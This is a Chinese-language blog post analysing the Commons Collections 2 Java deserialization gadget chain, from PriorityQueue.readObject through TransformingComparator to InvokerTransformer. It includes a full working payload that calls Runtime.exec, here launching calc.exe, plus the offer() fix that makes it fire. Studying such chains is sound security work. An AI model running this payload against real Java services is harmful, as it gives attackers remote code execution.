0
点赞
收藏
分享

微信扫一扫

[Java反序列化]Java-CommonsCollections2利用链分析


文章目录

  • ​​Java-CommonsCollections2利用链分析​​

Java-CommonsCollections2利用链分析

简单来说CC2就是从 ​​Serializable​​​的​​readObject()​​​⽅法到 ​​Transformer​​​的​​transform()​​⽅法的调⽤链

看一看具体流程,​​Serializable​​​的​​readObject()​​​⽅法调用​​heapify​​方法

[Java反序列化]Java-CommonsCollections2利用链分析_初始化

调用​​siftDown​​方法

[Java反序列化]Java-CommonsCollections2利用链分析_方法调用_02

调用​​siftDownUsingComparator​​方法

[Java反序列化]Java-CommonsCollections2利用链分析_初始化_03


最后到了​​TransformingComparator​​​下的​​compare​​方法

[Java反序列化]Java-CommonsCollections2利用链分析_java_04


所以我们只需要把​​ChainedTransformer​​​对象传入​​TransformingComparator​​的构造方法即可,这个链子一点都不难

[Java反序列化]Java-CommonsCollections2利用链分析_初始化_05

知道了大概流程以后现在具体来扣下细节,首先我们按照这个思路编写payload

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Comparator comparator = new TransformingComparator(transformerChain);

PriorityQueue queue = new PriorityQueue(2, comparator);

setFieldValue(transformerChain, "iTransformers", transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

发现并没有弹出计算器,我们来看看为什么,可以发现此时​​size​​​为​​0​​,我们要保证这个size右移动一位-1大于等于0,其实直接设置为我们的初始化大小即可,这里是2

[Java反序列化]Java-CommonsCollections2利用链分析_java_06


那什么操作可以让这个​​size​​​增加呢,可以看见​​offer​​函数里面实现了

[Java反序列化]Java-CommonsCollections2利用链分析_java_07


因此我们只需要再加上两行代码即可

queue.offer(1);
queue.offer(1);

成功执行计算器

[Java反序列化]Java-CommonsCollections2利用链分析_java_08


举报

相关推荐

0 条评论